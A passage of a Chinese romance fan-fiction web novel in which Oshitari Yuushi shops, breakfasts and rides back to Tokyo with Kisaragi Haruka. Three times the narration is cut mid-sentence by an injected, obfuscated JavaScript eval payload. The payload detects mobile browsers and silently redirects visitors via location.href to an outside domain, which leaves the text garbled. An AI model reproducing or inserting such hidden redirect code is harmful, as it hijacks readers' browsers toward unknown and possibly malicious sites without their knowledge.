这种无意识的、近乎残忍的撩拨,让忍足第一次如此清晰地感受到一种名为“心动”的情愫,像投入碳酸饮料里的薄荷糖,无法抑制地翻涌冒泡。 明明她说话做事直接又纯粹,甚至有点不解风情,可落在他眼里,怎么就哪哪都觉得好,都觉得有趣,都觉得可爱得要命呢? 就在这时,他放在桌上的手机屏幕亮了一下。 是迹部景吾的信息。 【迹部景吾】:本大爷准备回东京了,要捎带上你吗? 忍足看了一眼旁边正专心对付锅里最后一块白萝卜的如月遥,手指飞快地回复。 【忍足侑士】:不了,晚上住大阪。 【迹部景吾】:还陪着呢? 【忍足侑士】:尽地主之谊,应该的。 【迹部景吾】:你那点心思以为能瞒过本大爷啊嗯?行吧,不打扰你‘尽谊’了。 忍足看着迹部毫不留情的戳穿,无奈地笑了笑,默默将手机屏幕按灭,塞回口袋。 “怎么了?”如月遥刚好吃完,抬起头问他。 “没什么。”忍足轻描淡写地带过,自然地转移了话题,“吃好了吗?接下来去心斋桥扫荡彩妆店?” “好的。”如月遥放下手里的筷子,思索了一下自己之前做的攻略,“先去哪家?松本清?还是大国药妆?” “都去。”他拿起账单起身,语气纵容,“今晚的目标,就是把如月小姐想买的,都买齐。” 心斋桥的灯火将夜晚照得如同白昼,药妆店里人头攒动,尤其是彩妆区,几乎被来自世界各地的购物者占领。 忍足侑士,这位在网球场上冷静精准、在实验室前沉稳可靠的东大高材生,第一次遭遇了人生中可能比有机化学方程式更复杂的难题。 化妆品,尤其是口红。 他像个忠诚的侍卫跟在如月身后,手里提着的购物袋越来越多,越来越沉。重量逐渐累积,让他恍惚间仿佛回到了网球部进行负重训练的时光。 而他的“教练”如月遥,正全神贯注地投入另一场“战斗”。 她拿起一支又一支口红,熟练地拧开,在自己白皙的手臂内侧划下一道道色彩迥异的印记。 “枫叶红适合秋冬……” “豆沙红日常用……” “红茶色还挺显白……” 她一边试色,一边很笃定的判断着每个颜色的适用时间,冷静优雅,游刃有余。 忍足努力地跟着她的思路,试图分辨那些在他眼里几乎一模一样的红色系。 偏橘一点? 偏棕一点? 偏粉一点? 天知道,在他看来看去都是红色。 医学图谱上血管神经肌肉的颜色都没这么难以区分。 但绅士风度让他依旧保持着耐心和专注,从口红到眼影盘,从腮红到眼线笔…… 购物清单在不断延长,忍足手里的袋子也越来越沉。 默默估算了一下,这重量大概相当于连续打完三场高强度练习赛后的负重深蹲量级。 在一次如月遥靠近他,拿起他手里某个袋子里的战利品时,那股熟悉的、冷冽的雪松香气就又一次萦绕过来。 忍足忍不住吸了一口,终于问出了那个从第一次遇见就盘旋在心里的疑问: “如月小姐,你用的香水很特别。是雪松的味道吗?” 如月遥正检查着一盒新入手的睫毛膏,头也没抬地自然回答道:“嗯,Byredo的Super Cedar(超级雪松)。” Byredo……Super Cedar…… 忍足在心里默念了两遍,将这个品牌和名字牢牢记住。 像是解开了一个小小的谜题,心情莫名地愉悦起来。 终于,当如月遥心满意足地表示差不多了的时候,忍足感觉自己仿佛刚结束一场马拉松。两人手里都提满了战利品,尤其是忍足,几乎被各种购物袋淹没。 “我送你回酒店吧?”忍足看着那一大堆成果,非常自然且合理地提议,“这么多东西,你一个人肯定拿不动。” 如月遥看了看自己两只手都提不过来的袋子,又看了看同样负重累累的忍足,确实无法反驳,点了点头:“好吧,麻烦你了。” 忍足十分“顺便”地,在同一家豪华酒店的前台,办理了入住手续,过程自然流畅,毫无破绽。 将如月遥和她的战利品安全送到房间门口,忍足绅士地止步。 如月遥放下东西,看着今天陪玩、陪吃、还陪血拼了一晚上、此刻看起来确实有点疲惫的忍足,心里略有点过意不去,开口感谢:“今天辛苦忍足君了。” “明早司机会来接我回东京。” “如果你不介意的话,可以搭我的车一起回去。” 这正中了忍足的下怀。 他压下心中的雀跃,脸上露出一个恰到好处的、略带惊喜的笑容:“那就太好了,正好省去了我挤新干线的麻烦。谢谢如月小姐。” “不客气,明天见。” “明天见。” 道别后,忍足看着房门关上,这才转身走向电梯,嘴角控制不住地向上扬起。 虽然手臂被购物袋勒得发酸,但香水名字get√,明日同行回东京get√。 成果斐然。 第二天清晨,酒店餐厅里弥漫着咖啡、烤面包和水果的清新香气。 阳光透过巨大的落地窗洒进来,将一切都镀上了一层柔和的金边。 忍足侑士早早地就坐在了一个靠窗的位置,面前放着一杯黑咖啡,手里随意翻着餐厅提供的报纸,但注意力显然更多地放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526611|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐厅入口的方向。 他换下了昨天那件“屈辱”的恐龙T恤,穿上了一件质感良好的亚麻衬衫和卡其色长裤,恢复了那副休闲又儒雅的精英模样。 他当然不会说,这是昨晚回房后,立刻联系迹部家旗下百货商店的经理,连夜送来的当季新款。 继续穿那件恐龙T恤出现在早餐桌上,未免太不得体了。 当如月遥的身影出现在餐厅门口时,忍足的目光瞬间就捕捉到了她。 她换下了一身黑,穿着一条淡绿色的及踝长裙,面料柔软垂顺,随着她的步伐轻轻飘动。 颜色清新得像初春刚冒出的嫩芽,衬得她本就白皙的皮肤愈发透亮,黑发松松地挽在脑后,整个人美得像是从森林里走出的精灵,带着一种不食人间烟火的脱俗气质。 只是…… 精灵似乎还没完全睡醒。 她微微抿着唇,平日里就没什么表情的脸此刻更是罩着一层低气压,带着明显的起床气,对周围精致的环境和食物似乎都提不起太大兴趣。 忍足起身,朝她招了招手。 如月慢吞吞地走过来,在他对面的位置坐下,声音带着刚睡醒的沙哑和沉闷:“早。” “早。”忍足看着她这副难得一见的迷糊样子,觉得可爱得要命,语气都不自觉地放得更柔,“没睡好?” 如月没什么精神地“嗯”了一声,显然不想多说话。 忍足了然,起身:“我去帮你拿点吃的。有什么特别想吃的吗?” 如月摇摇头,一副“随便,别烦我”写满了脸。 忍足笑了笑,自顾自去取餐区。 他仔细回想着昨天观察到的她的口味偏好。 喜欢甜的,但不能腻,喜欢口感丰富的东西,讨厌鱼生和过于油腻的煎炸物。 精准地避开了所有雷区,端回来一盘堪称“如月遥专属”的完美早餐:淋着蜂蜜的松饼、新鲜莓果酸奶杯、一个可颂、还有几片火腿和炒蛋。 他把餐盘放到她面前。 如月遥抬起眼皮看了一眼,眼神似乎亮了一点点,拿起叉子默默吃起来。 她吃东西的时候很安静,腮帮子一鼓一鼓的,像只存粮的小仓鼠,虽然依旧没什么表情,但那股低气压明显消散了不少。 忍足也不打扰她,自己慢慢喝着咖啡。 过了一会儿,他把一杯没动过的黑咖啡往她那边推了推:“需要提神吗?” 如月摇摇头,咽下嘴里的食物,声音清晰了些:“我不喝咖啡。” 忍足有些意外,现代人尤其像她这样的年轻女孩,不喝咖啡的倒是少数。 “不喜欢?” “不是。”如月遥拿起纸巾擦了擦嘴角,语气平淡,“有点睡眠障碍,医生建议尽量不要摄入咖啡因这类兴奋性的东西。” 睡眠障碍? 忍足的心微微揪了一下。 作为医学生,他几乎是立刻就在脑海里快速过了一遍可能导致睡眠障碍的种种原因: 压力、焦虑、情绪问题、环境适应、甚至是某些生理性疾病…… 他看着眼前这个总是显得过分冷静的女孩,忽然很想问问,是什么在困扰着她的睡眠? 是因为初到日本不适应? 还是因为别的什么? 但他知道现在不是追问的时候。 只是点了点头,表示理解,然后自然地起身,去给她接了一杯温开水回来,轻轻放在她手边。 “喝点温水。” “谢谢。”如月遥接过杯子,小口喝了起来。 等她吃得差不多了,那股没睡醒的躁郁感似乎也终于被食物安抚下去。她抬起头,看向对面一直安静陪伴的男人。 晨光中,忍足姿态放松地坐在那里,浅灰色的亚麻衬衫袖口随意挽到手肘,露出线条流畅的小臂。 眼镜后的眼眸温和而专注,周身散发着一种成熟又令人安心的儒雅气质。 如月看着看着,心里默默评价:嗯,还是这样顺眼。 比昨天的恐龙顺眼多了。 10. 第 10 章 酒店的侍者帮忙将昨晚血拼的战利品一一搬上车,大大小小的购物袋几乎塞满了豪华轿车的后备箱。 “幸好选择了坐车回去。”如月遥看着那惊人的数量,肯定了自己的判断。 忍足的东西很少,只有一个简单的旅行袋,他的小提琴昨晚已经托迹部顺手带回了东京。 他十分绅士地为如月遥拉开车门,手掌细心地护在车门顶上。 两人坐进宽敞的后座,柔软的皮质座椅立刻将身体包裹。 司机确认后,便无声地升起了前后排之间的隔挡,将一个完全私密、安静的空间留给了他们。 车窗外的喧嚣瞬间被隔绝,车内只剩下空调系统细微的送风声,以及那无处不在的、冷冽又迷人的雪松香气,源自她身上,丝丝缕缕地弥漫在空气里,侵占着忍足的嗅觉和思绪。 车子缓缓启动,平稳地汇入大阪早晨的车流。 忍足微微侧头,目光不经意地落下,恰好落在她的脚上。 她今天穿了一双设计极简的银色细带半拖凉鞋,纤细的鞋带缠绕在白皙得近乎透明的脚踝上,衬得那处的骨骼线条格外优美精致。 她的脚型很漂亮,瘦而不干,脚背弓起一道柔和的弧线。 那抹冷银色和她雪白的肌肤在车内略显昏暗的光线下,形成一种极具冲击力的美感,冷艳又带着不经意的诱惑。 忍足强迫自己移开视线,望向窗外不断后退的城市街景,试图平复突然有些过快的心跳。 车厢里的雪松味似乎更浓了,冷冽,却又带着一种让人沉沦的、致命的美感。 为了打破这过于安静和旖旎的气氛,忍足开始找话题。 他指着窗外掠过的一些标志性建筑或街区,用他那低沉悦耳的关西腔,向她介绍着大阪的历史趣闻或特色。 “那边就是大阪城公园了,虽然看不到天守阁,但樱花季的时候非常壮观。” “前面拐过去就是黑门市场,被称为大阪的厨房,很多新鲜的海产和小吃。不过……你应该没什么兴趣。”他想起她对鱼生的抗拒,笑了笑。 “马上要上高速了,回去的路上会经过奈良,如果时间充裕,其实可以去看看奈良公园的小鹿……” 他的语调不疾不徐,带着一种让人舒适的节奏感。 如月遥安静地听着,偶尔会顺着他的指引看向窗外。 当听到感兴趣的内容时,她会微微睁大眼睛,或者极轻地“嗯”一声,表示她在听,并且有兴趣。 忍足敏锐地捕捉着她这些细微的反应。 当她听到奈良的小鹿时,眼神明显亮了一下。 当她听到他提到京都的岚山竹林小道时,她的视线在窗外多停留了几秒。 当她听到神户的夜景和牛排时,她几不可察地抿了一下唇。 每一个小小的信号,都被忍足精准地接收,然后默默记在心里。 奈良的小鹿、岚山的竹林、神户的夜景和牛排…… 嗯,下次,找个合适的周末,可以带她去。 车子在高速上平稳地行驶着,窗外的风景从繁华的都市逐渐变为开阔的田野和远山。 两人有一搭没一搭地聊着,话题从天南地北的风景美食,慢慢延伸到一些更琐碎日常的事情。 气氛安静而融洽,带着一种无需言明的默契和悄然滋长的亲近感。 忍足看着身旁女孩安静的侧脸,听着她偶尔清冷的回应,鼻尖萦绕着她独有的冷香,只觉得昨天到今天经历的一切奔波和“磨难”,都变得无比值得。 这条回东京的路,他希望,能再长一点。 车厢内安静了片刻,只有轮胎碾过路面的平稳噪音作为背景音。 如月遥忽然开口,声音打破了这片宁静,带着清晰的洞察:“忍足君昨天演奏的那首《诀别书》改了几处,对吗?” 忍足有些意外地转过头看她。 他没想到她听得如此仔细,更没想到她会主动提起。 “嗯。”他点头,镜片后的目光变得认真起来,“稍微调整了一下转调和尾声部分的情绪走向。” 如月遥看着前方椅背的某一点,似乎在回忆旋律,“原曲的悲伤是缓慢彻骨的,最终没有留任何余地。” “但你改的那几处,让曲子有了点不同。” “像是在说,告别虽然痛苦,但并非终点。” 她的解读精准地击中了他改编时的核心意图。 忍足的心跳微微加速,一种被深刻理解的悸动涌了上来。 “我去查了卓文君的故事。确实很遗憾,甚至为她感到不值。” 他的语气里带着真诚的惋惜,“那样的才情和勇气,却换来对方的变心和辜负。原曲里的悲伤,我非常理解。” 他话锋一转,目光变得温和而坚定:“但是我觉得,悲伤不应该成为她生命的全部底色。” “或许,告别了错误的人,清算了过去的感情,前方未必不是新的开阔地。” “所以擅自在音乐里给了她一点,算是……祝福和希望吧。” 他说得有些不好意思,毕竟这样解读和改动一首已成型的作品,显得有些自作多情。 如月遥安静地听着,看着他认真解释时微微蹙起的眉头和镜片后闪烁着温和光亮的眼睛。 他话语里的那份惋惜和那份小心翼翼的“祝福”,奇异地触动了她。 她突然极轻地笑了一下,不是平时那种冷淡的、礼貌的,或是被逗乐的笑,而是一种带着些许欣赏的轻笑。 她看着他,声音里带着一种对他新的认识,“你是个温柔的人。” “……” 忍足猝不及防被这样直白地夸奖,耳根瞬间有点发热,下意识地就想否认或转移话题,“也、也没有……只是随便想想。” 他轻咳一声,果然迅速岔开了话题,“说起来,如月小姐才是谦虚了。” “说自己音乐造诣低?那首曲子的钢琴演奏,是我听过最有感染力的演奏之一。” 如月遥却摇了摇头,语气又恢复了她的平淡:“我确实不擅长钢琴。那首曲子只是情绪到了,忍足君肯定听到了很多错音和不够流畅的地方。” 忍足捕捉到她话里细微的用词——“不擅长钢琴”。 这意味着…… 他敏锐地抬起眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526612|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向她:“那如月小姐擅长的乐器是?” 如月遥看着他瞬间抓住重点的反应,心里再次感叹这个男人的敏锐和细腻。 他总是能轻易地从她看似平淡的话语里,捕捉到那些她未曾明言的信息。 她迎上他好奇的目光,红唇轻启,吐出两个清晰的字: “琵琶。” “从小就练的琵琶。” 忍足侑士是真的惊讶了。 镜片后的蓝眸里写满了意外和兴味。 作为弦乐器的演奏者,他深知小提琴的难度,也同样了解琵琶在中国传统乐器中以技法繁复、表现力丰富而著称,甚至被誉为“弹拨乐器之王”。 但这份惊讶只持续了很短的时间。 转念一想,她会琵琶这件事,似乎又没什么可惊讶的。 眼前这个女孩,本身就像一个巨大的矛盾集合体。 出身极道世家却满腹诗书,外表柔弱却能一击打断二十米外的风铃,气质清冷如雪却又对食物充满赤诚的热爱。 她会弹奏需要极高技巧和深厚文化底蕴的琵琶,仿佛只是在她那本就充满谜团的人格图谱上,又添上了理所当然的一笔。 她一看就是那种,无论做什么,都会做到极致优秀的人。 忍足笑了起来,那笑容里带着毫不掩饰的欣赏:“琵琶啊……真是了不起。” “不知道我有没有这个荣幸,将来能有机会听如月小姐弹奏一曲?” 他的语气真诚而期待,带着一点小心翼翼的试探。 如月遥闻言,却几不可察地撇了一下嘴,将视线转向窗外飞速掠过的风景,语气恢复了几分平时的冷淡疏离:“再说。” 没有直接答应,但也没有一口回绝。 忍足心里掠过一丝淡淡的失落,但很快又释然了。 比起之前毫不留情的拒绝和“好人卡”,这句模棱两可的“再说”,已经算是一种巨大的进步了。 至少留下了无限的可能性,不是吗? 他的目光不自觉地垂下,落在了她随意搭在膝上的手。 阳光透过车窗照进来,将她的手笼罩在一层柔和的光晕里。手指修长,骨节并不明显,皮肤白皙,看上去柔弱无骨,仿佛一件精心雕琢的艺术品。 然而,他的视线敏锐地捕捉到了她指尖内侧,那一层与周围细腻皮肤截然不同的、略显粗糙的薄茧——那是长年累月拨弄琴弦留下的印记。 这双手,既能奏出动人心弦的《诀别书》,也能在谈笑间将一枚戒指化作精准致命的暗器。 忍足的心跳又一次不受控制地加快了节奏。 这个女孩……真是太有趣了。 表面上那么安静,像一幅被时光珍藏的水墨古画;内里却藏着锋利的棱角、惊人的力量和一整套让人捉摸不透的、矛盾又和谐的特质。 就像她钟爱的那款香水,Super Cedar——初闻是冰冷疏离的雪松,拒人千里;可细细品味后,又能察觉到那木质香气里包裹着的、一丝不易察觉的暖意和坚韧的生命力。 他收回目光,嘴角噙着一抹连自己都未曾察觉的、极其温柔的弧度。 11. 第 11 章 从大阪到东京,漫长的车程即使路况良好,也难免让人感到疲乏。 车厢内的空间再宽敞,连续坐上几个小时,筋骨也开始叫嚣着需要活动。 中途驶入服务区,司机下车去检查车辆和补充燃料。忍足和如月也顺势下车透气,朝着灯火通明的便利店走去。 “日本到处都是便利店,真是最伟大的发明之一。”忍足看着眼前熟悉的招牌,由衷地感叹了一句。 无论何时何地,总能在这里找到即时所需的温暖和能量。 如月遥对此表示赞同,尤其是在这种前不着村后不着店的高速路上。 两人推开玻璃门,清脆的提示音响起。 冷气混合着食物和咖啡的香气扑面而来,很自然地走向冷藏柜,决定就在这儿解决简便的午餐。 透明的冰柜里陈列着琳琅满目的便当、饭团、三明治、沙拉和各式饮料。 忍足很自然地担任起导购的角色,一边浏览,一边给出建议,语气里带着医学生特有的严谨和一点关西人对美食的挑剔: “这个草莓三明治很不错,用的奶油是动物奶油,甜而不腻,面包胚也很柔软。” “喝点牛奶吧?补充蛋白质和钙质,明治这款口感很醇厚。” “鸡蛋布丁,口感滑嫩,甜度适中,算是很好的餐后甜点选择。” “如果想吃饱一点,这个烤肉饭团或者烤牛肉便当都可以,食材看起来还算新鲜。” 如月遥默默地听着,目光随着他的介绍在那些包装精美的食物上移动。 听到感兴趣的,比如草莓三明治和鸡蛋布丁,她会伸手拿出来。 听到觉得一般的,比如某些看起来酱汁过多的便当,她会几不可察地微微蹙一下眉,然后跳过。 忍足看着她这些小表情,觉得有趣极了。 她似乎自己完全没意识到,她在放松状态下,面部表情会比平时丰富很多,那种细微的、下意识的喜好和嫌弃,让她看起来格外生动真实。 他一边建议,一边也在观察她。 他再次清晰地感受到,如月遥和他以往认识的那些世家贵女截然不同。 她可以穿着价值不菲的定制和服,在最高级的宴会里仪态万方地品尝怀石料理,也能毫无障碍地融入这间小小的、充斥着各种声音和气味的便利店,认真地挑选着一个几百日元的饭团或三明治。 她会抱怨关东煮店铺狭小吵闹,但当真的有其他客人需要从她身后挤过时,她会很自然地侧身让出空间,甚至看到有人不小心碰掉了调料瓶,还会顺手捡起来递回去。 那种融入日常生活的自然和善意,是许多被娇养在象牙塔里的大小姐们所不具备的。 她就像一株生命力极强的植物,既能适应精心调控的温室环境,也能在旷野的风雨中自在生长。 想到这里,忍足看着正拿起一盒牛奶仔细查看保质期的如月遥,不禁有些出神。思绪飘远,连自己手里拿着的饭团都忘了放下。 直到如月遥挑选完毕,转过头,发现他还保持着那个拿着饭团、眼神放空的姿势,不由得伸出手在他面前晃了晃。 “忍足君?”她的声音带着一点疑惑,“你怎么了?饭团要捏坏了。” 忍足猛地回神,这才意识到自己的失态,脸上瞬间掠过一丝窘迫,连忙将饭团放进购物篮,借着推眼镜和轻咳来掩饰尴尬。 “啊……没什么,刚刚在想……嗯……一个病例,医学部的案例!” 他生硬地转移着话题,“如月小姐选好了吗?那我们快去结账吧。” 如月遥狐疑地看了他一眼,总觉得他刚才想的肯定不是什么医学案例,但也没多问,点了点头:“嗯,走吧。” 两人提着装满便利店食物的袋子走回停车区,阳光正好,将他们的影子拉得很长,偶尔交汇在一起。 车子重新驶上高速公路,将服务区的喧嚣甩在身后。 午后的阳光透过车窗,带来令人昏昏欲睡的暖意。 如月遥看着窗外飞速掠过的广告牌,其中一块巨大的神户和牛宣传画吸引了她的注意。画面上雪花般的纹理和“极品美味”的字样勾起了她的好奇。 “神户和牛……”她轻声嘀咕,像是自言自语,又像是在提问,“和普通的有什么区别?” 忍足听到她的低语,心里暗笑,果然,她对牛肉的喜爱是认真的。 他转过头,脸上带着温和的笑意,认真地回答:“确实别有风味。” “脂肪分布均匀,入口即化,肉香浓郁,是和牛中的顶级品。如果烹饪得当,是非常极致的享受。” 他顿了顿,看着她又补充道:“而且神户不只有和牛,那里的温泉也很有名,水质很好,体验非常棒。” “温泉?”如月遥的注意力果然被吸引了回来,带着点好奇,“日本的温泉都在户外吗?” 她似乎对“露天”这个概念有些在意。 “有很多是半露天或者完全露天的,被称为‘露天風呂’。” 忍足解释道,“尤其是在风景好的地方,一边泡温泉一边欣赏自然景色,算是一种独特的享受,感觉身心都能和大自然交融在一起。” 如月遥听完,沉默了两秒,然后非常实际地提出了一个关键问题:“不怕走光吗?” 她的语气很认真,完全是出于安全和隐私的考量。 “咳咳……”忍足被这个直白的问题呛了一下,耳根微微发热,连忙解释道,“不会的。” “露天温泉都会设计得非常注重隐私,比如利用岩石、竹篱、或者地形高低差来自然隔断视线。” “而且很多高级的温泉旅馆都提供带私人露天风吕的客房包间,完全不用担心被别人看到。” 他努力让自己的解释听起来专业且可靠。 如月遥听罢,若有所思地点了点头,似乎对这个设计表示认可。 忍足抓住机会,顺势提议,语气里带着医学生的专业性和朋友般的关切:“泡温泉对身体很有好处,温热的水流能促进血液循环,放松肌肉,特别有助于缓解神经紧张和焦虑……” 他小心翼翼地补充,“或许对你的睡眠障碍也会有一些帮助。” “如果如月小姐愿意的话,找个休息天,我可以带你去神户体验一下。” 如月遥看向他,眼神里带着一丝探究:“忍足君作为医学生,课业不忙碌吗?可以这样到处跑?” 忍足笑了笑,语气轻松中带着一点不易察觉的自信:“劳逸结合嘛。而且……” 他顿了顿,心里暗暗想:出身医学世家,从小被祖父和父亲耳提面命,解剖图看得比童话书还早,大学里的很多课程对他而言与其说是学习,不如说是复习和深化。 要不是为了那张正式的学历文凭和行医资格,以他现在的水平,早就可以在自家的医院里挂牌看诊了。 当然,这话不能直接说出来,显得太过狂妄。 他只是含蓄地说:“时间规划得当的话,还是能挤出空闲的。毕竟,享受生活也很重要。” 如月遥看着他从容的样子,似乎接受了他的说法,点了点头:“有机会的话,可以去体验一下。” 车辆在高速公路上平稳地行驶着,引擎发出低沉而规律的嗡鸣,像一首单调的催眠曲。 午后的阳光透过车窗,暖融融地包裹着人,加上刚吃完简便的午餐,血液似乎都集中到了胃部去努力工作了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526613|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如月遥原本还看着窗外飞逝的风景,渐渐地眼眸开始失去焦点,变得朦胧起来。 她不再说话,只是安静地靠着座椅,目光没有焦距地落在车内某一点上,像一只在阳光下被晒得懒洋洋的猫。 忍足很快就察觉到了身旁气息的变化。 他转过头,悄悄打量着她,困意已经悄无声息地爬上了她秀丽的脸庞。 长而密的睫毛低垂着,在眼下投出一小片柔和的阴影,平日里总是微抿着的唇瓣此刻放松地轻启,呼吸变得轻缓而平稳。 那种全身心戒备的冷冽感消失了,取而代之的是一种毫无防备的、甚至有点稚气的柔软。 可惜,忍足在心里轻轻叹了口气。 她即便是犯困,身体也是下意识地偏向车门那一侧,将自己缩在靠窗的角落里,丝毫没有要往他这边倾斜、借他肩膀一用的打算。 这份倔强的独立,真是贯彻始终。 但看着她那样微微蜷缩着、似乎睡得并不十分舒服的姿势,忍足犹豫了一下,然后轻轻挪动身体,将自己背后那个柔软的记忆棉腰靠抽了出来。 他倾身过去,动作尽可能轻缓地将腰靠递到她手边,用气声低低地哄道:“如月小姐?靠着这个吧,会舒服一点。” “想睡就睡会儿,到了我叫你。” 他的声音本就偏低沉,带着天生的慵懒磁性,此刻刻意压低了音量,更是醇厚得像一把精心保养的大提琴在最温柔的弦上拉出的音符,丝丝缕缕钻进耳朵里,带着一种令人安心的催眠力量。 如月遥反应慢半拍地眨了眨眼睛,看着突然递到眼前的腰靠,又抬眼看了看近在咫尺的忍足,眼神里带着刚被吵醒的茫然和一点点被打扰的不悦。 但她似乎懒得动弹,只是微微直了直身体,并没有伸手去接。 忍足立刻会意。 他非常自然地将腰靠直接塞到了她的后腰与座椅之间的空隙里,调整到一个最能支撑她腰部曲线的位置。 如月遥几乎是本能地顺着那柔软的支撑力向后靠了靠,找到一个更舒适的角度,然后像是终于满意了似的,轻轻吁了一口气,重新合上眼睛,头依旧固执地靠向了冰凉的车窗玻璃那边。 整个过程流畅自然,她接受得理所当然,他伺候得心甘情愿。 忍足看着她又重新陷入睡眠的侧脸,心里那种奇妙的、被需要的满足感再次油然而生。 这就是如月大小姐。 需要人小心翼翼地哄着、细致入微地伺候着,却又倔强地保持着精神上的绝对独立,不肯轻易依靠任何人。 这种矛盾的特质,形成了一种只属于他们两人之间的、难以言喻的默契。 这种默契让忍足心里像是被什么东西填得满满的,暖洋洋的,但他只是将这份窃喜小心翼翼地藏在心底,脸上依旧是那副波澜不惊的温和表情。 他也向后靠进座椅里,目光重新投向窗外不断向后飞驰的风景,稻田、远山、蓝天白云,一切都显得那么宁静而美好。 他觉得命运真是奇妙。 几天前,他还沉浸在《诀别书》里,为一个只有一面之缘、连名字都不知道的幻影而怅然若失,反复用琴弦捕捉那份抓不住的悸动。 而如今,那个幻影不仅有了名字,有了鲜活的表情和脾气,此刻还正毫无防备地睡在他触手可及的地方,呼吸清浅,身上散发着令他心安的冷香。 这简直…… 比他看过的任何纯爱小说里的情节都要不可思议,却又真实地发生着。 原来,那些小说里写的缘分和怦然心动,真不是编的。 他微微勾起嘴角,也闭上了眼睛,任由这份宁静而满足的困意,将自己慢慢包围。 12. 第 12 章 平静被一声尖锐的喇叭和轮胎摩擦地面的急促声响骤然打破。 一辆黑色轿车毫无预兆地从右侧强行变道挤来,几乎是擦着他们的车头掠过。 如月家的司机经验老道,反应极快,为了避开碰撞,猛地向左侧打了一把方向盘,同时急踩刹车稳住车身。 巨大的惯性让整个车厢剧烈地晃动了一下。 正睡得香甜的如月遥毫无防备,身体直接被这股力量甩得脱离了原本依靠着车门和腰靠的姿势,整个人不受控制地向前扑去,眼看额头就要撞上前排座椅坚硬的靠背。 “小心!” 忍足的心脏几乎瞬间停跳。 得益于常年网球训练出的极致反应神经和动态视力,他几乎是本能地伸出长臂,一把将即将摔出去的如月遥猛地揽了回来,紧紧圈进自己怀里。 “唔!” 如月遥一头撞进一个温暖而结实的胸膛,鼻尖瞬间被淡淡皂角清香的男性气息包围,其间还缠绕着她自己身上那缕冰冷的雪松味,复杂地交织在一起。 车子很快重新恢复了平稳。 忍足却惊出了一身冷汗,手臂还牢牢环着她纤细的肩膀和后背,心脏在胸腔里擂鼓般狂跳,后怕不已。 怀里的触感真实而柔软,与他仅隔着两层薄薄的衣料。 他能清晰地感觉到她瞬间绷紧又缓缓放松的肌肉线条,甚至能感受到她因为被打扰而骤然变得急促的呼吸,温热地拂过他的颈窝。 雪松的冷香前所未有地浓郁,几乎将他整个人笼罩。 如月遥显然被这突如其来的变故和粗暴的唤醒方式彻底惹毛了。 她猛地抬起头,脸上还带着睡意未消的潮红,但那双睁开的眼睛里却燃着清晰可见的怒火,眉头紧紧蹙起,像一只被踩了尾巴瞬间炸毛的猫。 她下意识地抓紧了忍足的手臂,指甲甚至隔着衬衫布料掐了他一下。 忍足想起她那份不容小觑的起床气了,此刻也顾不上自己狂乱的心跳和那点旖旎的心思,连忙放缓了声音,像安抚受惊的小动物一样低声道歉哄着: “只是个意外,有辆车别过来了……司机已经稳住了。” “吓到了吗?有没有哪里不舒服?” 他的声音压得极低,带着未褪的紧张和十足的耐心。 如月遥抓着他手臂的力道松了一些,但脸色依旧很臭,显然极度不爽被打断睡眠。 听着忍足低声下气的解释,耐着性子勉强把那股邪火压下去一点,刚想说什么,却突然意识到—— 这个男人还紧紧地搂着她! 几乎是将她整个上半身都圈在了怀里! 她的身体瞬间又僵硬了,刚刚稍微缓和一点的眉头再次蹙起,抬起头,用那双还带着怒意的眼睛瞪向他,语气冰冷又带着明显的质问:“抱够了没?” “……” 忍足这才如梦初醒,像被烫到一样猛地松开手,迅速退回到安全距离,耳根不受控制地泛起红色,“抱歉!一时情急……车子还没完全稳下来,我怕你再摔着……” 他努力让自己的解释听起来正直且必要,心里却在疯狂唾弃自己。 太急躁了! 太明显了! 她可是只一点就炸的猫,得顺着毛慢慢哄,怎么能这么冒失! 被强行从睡眠中拽出来,又经历了这么一惊一乍,如月遥的耐心显然已经告罄。 她冷冷地瞪了他一眼,什么也没说,直接扭过头去,重新靠回自己的椅背,甚至还刻意往车门那边又挪了挪,用后脑勺对着他,明确表达了“我现在很不高兴,不想搭理你”的态度。 忍足看着她这副拒人千里的样子,心里真是冤枉又无奈。 天地可鉴,他刚才真的纯粹是担心她受伤,半点轻薄的意思都没有。 好吧,或许抱住之后有那么零点一秒的心猿意马,但主体动机绝对是纯洁的。 他讪讪地坐好,偷偷用眼角余光观察着她。 嗯…… 虽然还是冷着张脸,但之前紧紧绷住的嘴角似乎放松了一些,不再抿成一条凌厉的直线。抓着衣角的手指也松开了。 看来,那阵最汹涌的起床气,正在慢慢消散。 忍足在心里悄悄松了口气,却又忍不住泛起一丝甜意。 至少,刚才抱住她是真实的,那缕扑了他满怀的雪松冷香,也是真实的。 